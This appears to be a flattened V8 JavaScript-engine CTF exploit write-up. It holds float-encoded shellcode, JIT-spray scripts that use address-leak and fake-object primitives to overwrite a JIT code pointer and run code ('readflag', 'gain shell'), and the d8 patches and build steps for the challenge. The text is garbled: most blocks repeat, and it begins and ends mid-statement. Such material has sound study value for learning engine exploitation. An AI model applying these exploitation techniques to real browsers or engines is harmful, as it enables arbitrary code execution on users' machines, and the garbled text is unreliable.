shellcodeFloats.push(float); } return shellcodeFloats;}const shellcode = convertShellcode();console.log("const shellcode = () => {return [");shellcode.forEach((num, index) => { console.log(` ${num}${index < shellcode.length - 1 ? ',' : ''}`);});console.log("];}");➜ release git:(5a2307d0f2c) ✗ node convert.jsconst shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}➜ release git:(5a2307d0f2c) ✗ node convert.jsconst shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}function stop(){ %SystemBreak();}function p(arg){ %DebugPrint(arg);}function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}// readflagconst shellcode =()=> {return [1.9995716422075807e-246,1.9710255944286777E-246,1.97118242283721E-246,1.971136949489835E-246,1.9711826272869888E-246,1.9711829003383248E-246, -9.254983612527998e+61];}for(let i = 0; i< 20000; i++){ shellcode();shellcode(); shellcode();shellcode();}// p(shellcode);var shellcode_addr = GetAddressOf(shellcode);var code_addr = ArbRead32(shellcode_addr+0xc);var ins_base_lo = ArbRead32(code_addr-1+0x14);var ins_base_hi = ArbRead32(code_addr-1+0x14+4);var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base_lo",ins_base_lo);logg("ins_base_hi",ins_base_hi);logg("rop_addr",rop_addr);logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);// ins_base_lo+0x69+2ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);// x// stop();shellcode();// shellcode();// spin();function stop(){ %SystemBreak();}function p(arg){ %DebugPrint(arg);}function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}// readflagconst shellcode =()=> {return [1.9995716422075807e-246,1.9710255944286777E-246,1.97118242283721E-246,1.971136949489835E-246,1.9711826272869888E-246,1.9711829003383248E-246, -9.254983612527998e+61];}for(let i = 0; i< 20000; i++){ shellcode();shellcode(); shellcode();shellcode();}// p(shellcode);var shellcode_addr = GetAddressOf(shellcode);var code_addr = ArbRead32(shellcode_addr+0xc);var ins_base_lo = ArbRead32(code_addr-1+0x14);var ins_base_hi = ArbRead32(code_addr-1+0x14+4);var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base_lo",ins_base_lo);logg("ins_base_hi",ins_base_hi);logg("rop_addr",rop_addr);logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);// ins_base_lo+0x69+2ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);// x// stop();shellcode();// shellcode();// spin();// gain shell// const shellcode = () => {return [// 1.9553825422107533e-246,// 1.9560612558242147e-246,// 1.9995714719542577e-246,// 1.9533767332674093e-246,// 2.6348604765229606e-284// ];}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, 1.9711828988945186e-246, 1.9710306750501128e-246, -6.910973738673629e-229];}for(let i = 0; i< 20000; i++){ shellcode();shellcode(); shellcode();shellcode();}var shellcode_addr = GetAddressOf(shellcode);var code_addr = ArbRead32(shellcode_addr+0xc);var ins_base_lo = ArbRead32(code_addr-1+0x14);var ins_base_hi = ArbRead32(code_addr-1+0x14+4);var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);shellcode();// gain shell// const shellcode = () => {return [// 1.9553825422107533e-246,// 1.9560612558242147e-246,// 1.9995714719542577e-246,// 1.9533767332674093e-246,// 2.6348604765229606e-284// ];}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, 1.9711828988945186e-246, 1.9710306750501128e-246, -6.910973738673629e-229];}for(let i = 0; i< 20000; i++){ shellcode();shellcode(); shellcode();shellcode();}var shellcode_addr = GetAddressOf(shellcode);var code_addr = ArbRead32(shellcode_addr+0xc);var ins_base_lo = ArbRead32(code_addr-1+0x14);var ins_base_hi = ArbRead32(code_addr-1+0x14+4);var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);shellcode();// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}for(let i = 0; i< 0x10000; i++){ shellcode();}var shellcode_addr = GetAddressOf(shellcode);var code_addr = ArbRead32(shellcode_addr+0xc);var ins_base_lo = ArbRead32(code_addr-1+0x14);var ins_base_hi = ArbRead32(code_addr-1+0x14+4);var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base_lo",ins_base_lo);logg("ins_base_hi",ins_base_hi);logg("rop_addr",rop_addr);logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);shellcode();// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}for(let i = 0; i< 0x10000; i++){ shellcode();}var shellcode_addr = GetAddressOf(shellcode);var code_addr = ArbRead32(shellcode_addr+0xc);var ins_base_lo = ArbRead32(code_addr-1+0x14);var ins_base_hi = ArbRead32(code_addr-1+0x14+4);var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base_lo",ins_base_lo);logg("ins_base_hi",ins_base_hi);logg("rop_addr",rop_addr);logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);shellcode();git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/releasegit reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/release➜ release git:(5a2307d0f2c) ✗ cat args.gn# Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = false➜ release git:(5a2307d0f2c) ✗ cat args.gn# Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = falseautoninja -C out/release d8autoninja -C out/release d8+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate *isolate = info.GetIsolate();+ Local<v8::Context> context = isolate->GetCurrentContext();++ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }++ Local<v8::Uint32> arg;+ if (!info[0]->ToUint32(context).ToLocal(&arg)) {+ isolate->ThrowError("Argument must be a number");+ return;+ }+ + uint32_t addr = arg->Value();++ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint64_t full_addr = base_addr + (uint64_t)addr;++ internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);+ internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);+ internal::Handle<internal::Object> obj_handle(obj, i_isolate);+ info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));+}+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate *isolate = info.GetIsolate();+ Local<v8::Context> context = isolate->GetCurrentContext();++ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }++ Local<v8::Uint32> arg;+ if (!info[0]->ToUint32(context).ToLocal(&arg)) {+ isolate->ThrowError("Argument must be a number");+ return;+ }+ + uint32_t addr = arg->Value();++ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint64_t full_addr = base_addr + (uint64_t)addr;++ internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);+ internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);+ internal::Handle<internal::Object> obj_handle(obj, i_isolate);+ info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));+}diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..0299ed26802 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -1283,6 +1283,52 @@ struct ModuleResolutionData { } // namespace +void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}++void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate *isolate = info.GetIsolate();+ Local<v8::Context> context = isolate->GetCurrentContext();++ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }++ Local<v8::Uint32> arg;+ if (!info[0]->ToUint32(context).ToLocal(&arg)) {+ isolate->ThrowError("Argument must be a number");+ return;+ }+ + uint32_t addr = arg->Value();++ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint64_t full_addr = base_addr + (uint64_t)addr;++ internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);+ internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);+ internal::Handle<internal::Object> obj_handle(obj, i_isolate);+ info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));+}+ void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { DCHECK(i::ValidateCallbackInfo(info));@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+ global_template->Set(isolate, "GetAddressOf",+ FunctionTemplate::New(isolate, GetAddressOf));+ global_template->Set(isolate, "GetFakeObject",+ FunctionTemplate::New(isolate, GetFakeObject));+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/d8/d8.h b/src/d8/d8.hindex a19d4a0eae4..fbb091afbaf 100644--- a/src/d8/d8.h+++ b/src/d8/d8.h@@ -507,6 +507,8 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone }; + static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..0299ed26802 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -1283,6 +1283,52 @@ struct ModuleResolutionData { } // namespace +void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}++void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate *isolate = info.GetIsolate();+ Local<v8::Context> context = isolate->GetCurrentContext();++ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }++ Local<v8::Uint32> arg;+ if (!info[0]->ToUint32(context).ToLocal(&arg)) {+ isolate->ThrowError("Argument must be a number");+ return;+ }+ + uint32_t addr = arg->Value();++ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint64_t full_addr = base_addr + (uint64_t)addr;++ internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);+ internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);+ internal::Handle<internal::Object> obj_handle(obj, i_isolate);+ info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));+}+ void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { DCHECK(i::ValidateCallbackInfo(info));@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+ global_template->Set(isolate, "GetAddressOf",+ FunctionTemplate::New(isolate, GetAddressOf));+ global_template->Set(isolate, "GetFakeObject",+ FunctionTemplate::New(isolate, GetFakeObject));+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/d8/d8.h b/src/d8/d8.hindex a19d4a0eae4..fbb091afbaf 100644--- a/src/d8/d8.h+++ b/src/d8/d8.h@@ -507,6 +507,8 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone }; + static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,var buf = new ArrayBuffer(8);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}var fake_array = [ lh_u32_to_f64(fake_map_addr+1,0), lh_u32_to_f64(rw_array_element_addr+1,0x100)]var buf = new ArrayBuffer(8);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}var fake_array = [ lh_u32_to_f64(fake_map_addr+1,0), lh_u32_to_f64(rw_array_element_addr+1,0x100)]function cage_read(addr){ fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100); return Number(f64_to_u64(fake_obj[0]));}function cage_write(addr,val){ fake_array[1] = lh_u32_to_f64(addr-8+1,0x100); fake_obj[0] = u64_to_f64(val);}function cage_read(addr){ fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100); return Number(f64_to_u64(fake_obj[0]));}function cage_write(addr,val){ fake_array[1] = lh_u32_to_f64(addr-8+1,0x100); fake_obj[0] = u64_to_f64(val);}var shellcode_addr = GetAddressOf(shellcode);var code_addr = cage_read(shellcode_addr+0xc) >> 32;var ins_base = cage_read(code_addr-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6b);cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))// stop();shellcode();var shellcode_addr = GetAddressOf(shellcode);var code_addr = cage_read(shellcode_addr+0xc) >> 32;var ins_base = cage_read(code_addr-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6b);cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))// stop();shellcode();var buf = new ArrayBuffer(8);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}// // gain shell// const shellcode = () => {return [// 1.9553825422107533e-246,// 1.9560612558242147e-246,// 1.9995714719542577e-246,// 1.9533767332674093e-246,// 2.6348604765229606e-284// ];}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}for(let i = 0; i< 0x10000; i++){ shellcode();}// p(shellcode);var rw_array = [1.1,2.2,3.3,4.4];var fake_map = [u64_to_f64(0x3600000a001c0261n), u64_to_f64(0x0a0007ff11000844n)]; var fake_map_addr = GetAddressOf(fake_map) + 0x24 + 0x30;var rw_array_element_addr = GetAddressOf(rw_array)-0x28;// var fake_array = [ lh_u32_to_f64(fake_map_addr+1,0), lh_u32_to_f64(rw_array_element_addr+1,0x100)]var fake_array_addr = GetAddressOf(fake_array)+0x24+0x30;var fake_obj = GetFakeObject(fake_array_addr);// p(rw_array);// p(fake_array);// p(fake_map);// logg("fake_map_addr",fake_map_addr);// logg("rw_array_element_addr",rw_array_element_addr);// logg("fake_array_addr",fake_array_addr);// console.log(typeof fake_obj);function cage_read(addr){ fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100); return Number(f64_to_u64(fake_obj[0]));}function cage_write(addr,val){ fake_array[1] = lh_u32_to_f64(addr-8+1,0x100); fake_obj[0] = u64_to_f64(val);}var shellcode_addr = GetAddressOf(shellcode);var code_addr = cage_read(shellcode_addr+0xc) >> 32;var ins_base = cage_read(code_addr-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6b);cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))// stop();shellcode();// spin();var buf = new ArrayBuffer(8);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}// // gain shell// const shellcode = () => {return [// 1.9553825422107533e-246,// 1.9560612558242147e-246,// 1.9995714719542577e-246,// 1.9533767332674093e-246,// 2.6348604765229606e-284// ];}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}for(let i = 0; i< 0x10000; i++){ shellcode();}// p(shellcode);var rw_array = [1.1,2.2,3.3,4.4];var fake_map = [u64_to_f64(0x3600000a001c0261n), u64_to_f64(0x0a0007ff11000844n)]; var fake_map_addr = GetAddressOf(fake_map) + 0x24 + 0x30;var rw_array_element_addr = GetAddressOf(rw_array)-0x28;// var fake_array = [ lh_u32_to_f64(fake_map_addr+1,0), lh_u32_to_f64(rw_array_element_addr+1,0x100)]var fake_array_addr = GetAddressOf(fake_array)+0x24+0x30;var fake_obj = GetFakeObject(fake_array_addr);// p(rw_array);// p(fake_array);// p(fake_map);// logg("fake_map_addr",fake_map_addr);// logg("rw_array_element_addr",rw_array_element_addr);// logg("fake_array_addr",fake_array_addr);// console.log(typeof fake_obj);function cage_read(addr){ fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100); return Number(f64_to_u64(fake_obj[0]));}function cage_write(addr,val){ fake_array[1] = lh_u32_to_f64(addr-8+1,0x100); fake_obj[0] = u64_to_f64(val);}var shellcode_addr = GetAddressOf(shellcode);var code_addr = cage_read(shellcode_addr+0xc) >> 32;var ins_base = cage_read(code_addr-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6b);cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))// stop();shellcode();// spin();git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/releasegit reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/release➜ release cat args.gn # Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = false➜ release cat args.gn # Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = falseautoninja -C out/release d8autoninja -C out/release d8+ArrayPrototypeSetLength(+ js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {+ try {+ const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;+ const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;+ array.length = len;+ } label ErrorLabel {+ Print("Nope");+ }+ return receiver;+}+}+ArrayPrototypeSetLength(+ js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {+ try {+ const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;+ const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;+ array.length = len;+ } label ErrorLabel {+ Print("Nope");+ }+ return receiver;+}+}diff --git a/BUILD.gn b/BUILD.gnindex c0192593c4a..83e264723f7 100644--- a/BUILD.gn+++ b/BUILD.gn@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) { } torque_files = [+ "src/builtins/array-setlength.tq", "src/builtins/aggregate-error.tq", "src/builtins/array-at.tq", "src/builtins/array-concat.tq",diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tqnew file mode 100644index 00000000000..4a2a864af44--- /dev/null+++ b/src/builtins/array-setlength.tq@@ -0,0 +1,14 @@+namespace array {+transitioning javascript builtin+ArrayPrototypeSetLength(+ js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {+ try {+ const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;+ const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;+ array.length = len;+ } label ErrorLabel {+ Print("Nope");+ }+ return receiver;+}+}diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..f3379ac47ec 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, JSObject::AddProperty(isolate_, proto, factory->constructor_string(), array_function, DONT_ENUM); + SimpleInstallFunction(isolate_, proto, "setLength",+ Builtin::kArrayPrototypeSetLength, 1, true); SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true); SimpleInstallFunction(isolate_, proto, 